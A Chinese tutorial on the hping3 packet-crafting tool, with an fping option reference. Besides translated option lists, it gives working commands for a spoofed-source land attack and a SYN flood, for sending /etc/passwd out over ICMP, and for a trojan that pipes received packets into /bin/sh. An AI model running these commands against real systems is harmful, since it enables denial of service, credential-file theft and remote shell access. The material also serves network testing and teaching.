hping3 使用 (构造dos攻击)
hping3命令:http://man.linuxde.net/hping3
Testing firewall rules with Hping3 - examples:http://0daysecurity.com/articles/hping3_examples.html
攻防寶典:利用hping3和偽造IP地址執(zhí)行DOS攻擊:http://netsecurity.51cto.com/art/201508/489303.htm
DoS***方法(hping3):http://19920624.blog.51cto.com/9632075/1584465
Nmap、Netcat、Hping3工具對比:http://www.2cto.com/article/201210/158961.html
**
hping
**
hping 是 面向命令行的用于生成和解析TCP/IP協(xié)議數(shù)據(jù)包匯編/分析的開源工具。作者是Salvatore Sanfilippo,界面靈感來自ping(8)unix命令,目前最新版是 hping3,它支持TCP,UDP,ICMP和RAW-IP協(xié)議,具有跟蹤路由模式,能夠在覆蓋的信道之間發(fā)送文件以及許多其他功能,支持使用tcl腳本自動(dòng)化地調(diào)用其API。hping是安全審計(jì)、防火墻測試等工作的標(biāo)配工具。hping 優(yōu)勢在于能夠定制數(shù)據(jù)包的各個(gè)部分,因此用戶可以靈活對目標(biāo)機(jī)進(jìn)行細(xì)致地探測。
雖然 hping 以前主要用作安全工具,但它可以在許多方面被不太關(guān)心安全性的人員用于測試網(wǎng)絡(luò)和主機(jī),您可以使用hping的一小部分內(nèi)容:
- 防火墻測試 - 高級端口掃描 - 網(wǎng)絡(luò)測試,使用不同的協(xié)議,TOS,分片 - 手動(dòng)路徑MTU發(fā)現(xiàn) - 在所有支持的協(xié)議下,高級traceroute - 遠(yuǎn)程操作系統(tǒng)指紋 - 遠(yuǎn)程正常運(yùn)行時(shí)間猜測 - TCP/IP協(xié)議棧審計(jì) - hping也可以用于學(xué)習(xí)TCP/IP的學(xué)生工具來源:http://www.hping.org/
hping3主頁 | Kali hping3倉庫
模式選擇
default mode TCP // 默認(rèn)模式是 TCP-0 --rawip RAWIP模式,原始IP模式。在此模式下HPING會發(fā)送帶數(shù)據(jù)的IP頭。即裸IP方式。使用RAWSOCKET方式。-1 --icmp ICMP模式,此模式下HPING會發(fā)送IGMP應(yīng)答報(bào),你可以用--ICMPTYPE --ICMPCODE選項(xiàng)發(fā)送其他類型/模式的ICMP報(bào)文。-2 --udp UDP 模式,缺省下,HPING會發(fā)送UDP報(bào)文到主機(jī)的0端口,你可以用--baseport --destport --keep選項(xiàng)指定其模式。-8 --scan SCAN mode. //掃描模式 指定掃描對應(yīng)的端口。Example: hping --scan 1-30,70-90 -S www.target.host // 掃描-9 --listen listen mode // 監(jiān)聽模式IP 模式
-a --spoof spoof source address //源地址欺騙。偽造IP攻擊,防火墻就不會記錄你的真實(shí)IP了,當(dāng)然回應(yīng)的包你也接收不到了。--rand-dest random destionation address mode. see the man. // 隨機(jī)目的地址模式。詳細(xì)使用 man 命令--rand-source random source address mode. see the man. // 隨機(jī)源地址模式。詳細(xì)使用 man 命令-t --ttl ttl (默認(rèn) 64) //修改 ttl 值-N --id id (默認(rèn) 隨機(jī)) // hping 中的 ID 值,缺省為隨機(jī)值-W --winid 使用win* id字節(jié)順序 //使用winid模式,針對不同的操作系統(tǒng)。UNIX ,WINDIWS的id回應(yīng)不同的,這選項(xiàng)可以讓你的ID回應(yīng)和WINDOWS一樣。-r --rel 相對id字段(估計(jì)主機(jī)流量) //更改ID的,可以讓ID曾遞減輸出,詳見HPING-HOWTO。-f --frag 拆分?jǐn)?shù)據(jù)包更多的frag. (may pass weak acl) //分段,可以測試對方或者交換機(jī)碎片處理能力,缺省16字節(jié)。-x --morefrag 設(shè)置更多的分段標(biāo)志 // 大量碎片,淚滴攻擊。-y --dontfrag 設(shè)置不分段標(biāo)志 // 發(fā)送不可恢復(fù)的IP碎片,這可以讓你了解更多的MTU PATH DISCOVERY。-g --fragoff set the fragment offset // 設(shè)置斷偏移。-m --mtu 設(shè)置虛擬最大傳輸單元, implies --frag if packet size > mtu // 設(shè)置虛擬MTU值,當(dāng)大于mtu的時(shí)候分段。-o --tos type of service (default 0x00), try --tos help // tos字段,缺省0x00,盡力而為?-G --rroute includes RECORD_ROUTE option and display the route buffer // 記錄IP路由,并顯示路由緩沖。--lsrr 松散源路由并記錄路由 // 松散源路由--ssrr 嚴(yán)格源路由并記錄路由 // 嚴(yán)格源路由-H --ipproto 設(shè)置IP協(xié)議字段,僅在RAW IP模式下使用 //在RAW IP模式里選擇IP協(xié)議。設(shè)置ip協(xié)議域,僅在RAW ip模式使用。ICMP 模式
-C --icmptype icmp類型(默認(rèn)echo請求) // ICMP類型,缺省回顯請求。-K --icmpcode icmp代號(默認(rèn)0) // ICMP代碼。--force-icmp 發(fā)送所有icmp類型(默認(rèn)僅發(fā)送支持的類型) // 強(qiáng)制ICMP類型。--icmp-gw 設(shè)置ICMP重定向網(wǎng)關(guān)地址(默認(rèn)0.0.0.0) // ICMP重定向--icmp-ts 等同 --icmp --icmptype 13 (ICMP 時(shí)間戳) // icmp時(shí)間戳--icmp-addr 等同 --icmp --icmptype 17 (ICMP 地址子網(wǎng)掩碼) // icmp子網(wǎng)地址--icmp-help 顯示其他icmp選項(xiàng)幫助 // ICMP幫助UDP/TCP 模式
-s --baseport base source port (default random) // 缺省隨機(jī)源端口-p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec // 缺省隨機(jī)源端口-k --keep keep still source port // 保持源端口-w --win winsize (default 64) // win的滑動(dòng)窗口。windows發(fā)送字節(jié)(默認(rèn)64)-O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4) // 設(shè)置偽造tcp數(shù)據(jù)偏移量(取代tcp地址長度除4)-Q --seqnum shows only tcp sequence number // 僅顯示tcp序列號-b --badcksum (嘗試)發(fā)送具有錯(cuò)誤IP校驗(yàn)和數(shù)據(jù)包。許多系統(tǒng)將修復(fù)發(fā)送數(shù)據(jù)包的IP校驗(yàn)和。所以你會得到錯(cuò)誤UDP/TCP校驗(yàn)和。-M --setseq 設(shè)置TCP序列號 -L --setack 設(shè)置TCP的ack ------------------------------------- (不是 TCP 的 ACK 標(biāo)志位)-F --fin set FIN flag-S --syn set SYN flag-R --rst set RST flag-P --push set PUSH flag-A --ack set ACK flag ------------------------------------- (設(shè)置 TCP 的 ACK 標(biāo)志 位)-U --urg set URG flag // 一大堆IP抱頭的設(shè)置。-X --xmas set X unused flag (0x40)-Y --ymas set Y unused flag (0x80)--tcpexitcode 使用last tcp-> th_flags作為退出碼--tcp-mss 啟用具有給定值的TCP MSS選項(xiàng)--tcp-timestamp 啟用TCP時(shí)間戳選項(xiàng)來猜測HZ/uptimeCommon //通用設(shè)置
-d --data data size (default is 0) // 發(fā)送數(shù)據(jù)包大小,缺省是0。-E --file 文件數(shù)據(jù)-e --sign 添加“簽名”-j --dump 轉(zhuǎn)儲為十六進(jìn)制數(shù)據(jù)包-J --print 轉(zhuǎn)儲為可打印字符-B --safe 啟用“安全”協(xié)議-u --end 告訴你什么時(shí)候--file達(dá)到EOF并防止倒回-T --traceroute traceroute模式(等同使用 --bind 且--ttl 1)--tr-stop 在traceroute模式下收到第一個(gè)不是ICMP時(shí)退出--tr-keep-ttl 保持源TTL固定,僅用于監(jiān)視一跳--tr-no-rtt 不要在跟蹤路由模式下計(jì)算/顯示RTT信息 ARS包描述(新增功能,不穩(wěn)定) ARS packet description (new, unstable)--apd-send 發(fā)送APD描述數(shù)據(jù)包(參見docs / APD.txt)Hping3 功能
Hping3 主要有以下典型功能應(yīng)用:
防火墻測試
使用Hping3指定各種數(shù)據(jù)包字段,依次對防火墻進(jìn)行詳細(xì)測試。請參考:http://0daysecurity.com/articles/hping3_examples.html
測試防火墻對ICMP包的反應(yīng)、是否支持traceroute、是否開放某個(gè)端口、對防火墻進(jìn)行拒絕服務(wù)攻擊(DoS attack)。例如,以LandAttack方式測試目標(biāo)防火墻(Land Attack是將發(fā)送源地址設(shè)置為與目標(biāo)地址相同,誘使目標(biāo)機(jī)與自己不停地建立連接)。
hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
端口掃描
Hping3也可以對目標(biāo)端口進(jìn)行掃描。Hping3支持指定TCP各個(gè)標(biāo)志位、長度等信息。以下示例可用于探測目標(biāo)機(jī)的80端口是否開放:
hping3 -I eth0 -S 192.168.10.1 -p 80
其中-I eth0指定使用eth0端口,-S指定TCP包的標(biāo)志位SYN,-p 80指定探測的目的端口。
hping3支持非常豐富的端口探測方式,nmap擁有的掃描方式hping3幾乎都支持(除開connect方式,因?yàn)镠ping3僅發(fā)送與接收包,不會維護(hù)連接,所以不支持connect方式探測)。而且Hping3能夠?qū)Πl(fā)送的探測進(jìn)行更加精細(xì)的控制,方便用戶微調(diào)探測結(jié)果。當(dāng)然,Hping3的端口掃描性能及綜合處理能力,無法與Nmap相比。一般使用它僅對少量主機(jī)的少量端口進(jìn)行掃描。
Idle掃描
Idle掃描(Idle Scanning)是一種匿名掃描遠(yuǎn)程主機(jī)的方式,該方式也是有Hping3的作者Salvatore Sanfilippo發(fā)明的,目前Idle掃描在Nmap中也有實(shí)現(xiàn)。
該掃描原理是:尋找一臺idle主機(jī)(該主機(jī)沒有任何的網(wǎng)絡(luò)流量,并且IPID是逐個(gè)增長的),攻擊端主機(jī)先向idle主機(jī)發(fā)送探測包,從回復(fù)包中獲取其IPID。冒充idle主機(jī)的IP地址向遠(yuǎn)程主機(jī)的端口發(fā)送SYN包(此處假設(shè)為SYN包),此時(shí)如果遠(yuǎn)程主機(jī)的目的端口開放,那么會回復(fù)SYN/ACK,此時(shí)idle主機(jī)收到SYN/ACK后回復(fù)RST包。然后攻擊端主機(jī)再向idle主機(jī)發(fā)送探測包,獲取其IPID。那么對比兩次的IPID值,我們就可以判斷遠(yuǎn)程主機(jī)是否回復(fù)了數(shù)據(jù)包,從而間接地推測其端口狀態(tài)。
拒絕服務(wù)攻擊
使用Hping3可以很方便構(gòu)建拒絕服務(wù)攻擊。比如對目標(biāo)機(jī)發(fā)起大量SYN連接,偽造源地址為192.168.10.99,并使用1000微秒的間隔發(fā)送各個(gè)SYN包。
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
其他攻擊如smurf、teardrop、land attack等也很容易構(gòu)建出來。
文件傳輸
Hping3支持通過TCP/UDP/ICMP等包來進(jìn)行文件傳輸。相當(dāng)于借助TCP/UDP/ICMP包建立隱秘隧道通訊。實(shí)現(xiàn)方式是開啟監(jiān)聽端口,對檢測到的簽名(簽名為用戶指定的字符串)的內(nèi)容進(jìn)行相應(yīng)的解析。在接收端開啟服務(wù):
hping3 192.168.1.159–listen signature --safe --icmp
監(jiān)聽ICMP包中的簽名,根據(jù)簽名解析出文件內(nèi)容。
在發(fā)送端使用簽名打包的ICMP包發(fā)送文件:
hping3 192.168.1.108–icmp ?d 100 --sign signature --file /etc/passwd
將/etc/passwd密碼文件通過ICMP包傳給192.168.10.44主機(jī)。發(fā)送包大小為100字節(jié)(-d 100),發(fā)送簽名為signature(-sign signature)。
木馬功能
如果Hping3能夠在遠(yuǎn)程主機(jī)上啟動(dòng),那么可以作為木馬程序啟動(dòng)監(jiān)聽端口,并在建立連接后打開shell通信。與netcat的后門功能類似。
示例:本地打開53號UDP端口(DNS解析服務(wù))監(jiān)聽來自192.168.10.66主機(jī)的包含簽名為signature的數(shù)據(jù)包,并將收到的數(shù)據(jù)調(diào)用/bin/sh執(zhí)行。
在木馬啟動(dòng)端:
hping3 192.168.10.66–listen signature --safe --udp -p 53 | /bin/sh
在遠(yuǎn)程控制端:
echo ls >test.cmd hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd將包含ls命令的文件加上簽名signature發(fā)送到192.168.10.44主機(jī)的53號UDP端口,包數(shù)據(jù)長度為100字節(jié)。
當(dāng)然這里只是簡單的演示程序,真實(shí)的場景,控制端可以利益shell執(zhí)行很多的高級復(fù)雜的操作。
fping 用法
fping 官網(wǎng)
fping 是一個(gè)將 ICMP echo 探測器發(fā)送到網(wǎng)絡(luò)主機(jī)的程序,類似于 ping,可以看作是 ping 的增強(qiáng)版。但是 fping 在 ping多個(gè)主機(jī)時(shí)性能更好。Usage: fping [options] [targets...]-a 顯示存活目標(biāo),即可ping通的目標(biāo)-A 將目標(biāo)以ip地址的形式顯示-b n ping 數(shù)據(jù)包的大小。(默認(rèn)為56)-B f set exponential backoff factor to f-c n ping每個(gè)目標(biāo)的次數(shù) (默認(rèn)為1)-C n 同-c, 返回的結(jié)果為冗長格式-D 每個(gè)輸出行打印時(shí)間戳-e 顯示返回?cái)?shù)據(jù)包所費(fèi)時(shí)間-f file 從文件獲取目標(biāo)列表( - 表示從標(biāo)準(zhǔn)輸入)(不能與 -g 同時(shí)使用)-g 生成目標(biāo)列表(不能與 -f 同時(shí)使用)(可指定目標(biāo)的開始和結(jié)束IP, 或者提供ip的子網(wǎng)掩碼)(例:fping -g 192.168.1.0 192.168.1.255 或 fping -g 192.168.1.0/24) -H n 設(shè)置ip的TTL值 (生存時(shí)間)-i n ping包之間的間隔(單位:毫秒)(默認(rèn)25)-I if 綁定到特定的接口-l 循環(huán)發(fā)送ping-m ping目標(biāo)主機(jī)的多個(gè)網(wǎng)口-M 設(shè)置不分段標(biāo)記-n 將目標(biāo)以主機(jī)名或域名顯示(等價(jià)于 -d )-N 輸出兼容netdata (-l -Q are required)-o 顯示累計(jì)中斷時(shí)間 (lost packets * packet interval)-O n 在ICMP包中設(shè)置服務(wù)的類型(tos)標(biāo)志-p n 對同一個(gè)目標(biāo)的ping包間隔(毫秒)(在循環(huán)和統(tǒng)計(jì)模式中,默認(rèn)為1000)-q 安靜模式(不顯示每個(gè)目標(biāo)或每個(gè)ping的結(jié)果)-Q n 同-q, 但是每n秒顯示信息概要-r n 當(dāng)ping失敗時(shí),最大重試次數(shù)(默認(rèn)為3次)-R random packet data (to foil link data compression)-s 打印最后的統(tǒng)計(jì)數(shù)據(jù)-S addr 設(shè)置源ip地址-t n 單個(gè)目標(biāo)的超時(shí)時(shí)間(毫秒)(默認(rèn)500)-T n 請忽略(為兼容fping 2.4)-u 顯示不可到達(dá)的目標(biāo)-v 顯示版本號targets 需要ping的目標(biāo)列表(不能和 -f 同時(shí)使用)示例
fping -A -u -c 4 192.168.1.1 192.168.1.74 192.168.1.20
總結(jié)
以上是生活随笔為你收集整理的hping3 使用 (构造dos攻击)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 手电筒安卓_王思聪吃热狗数字时钟app安
- 下一篇: [NLP] 中文文本相似度实战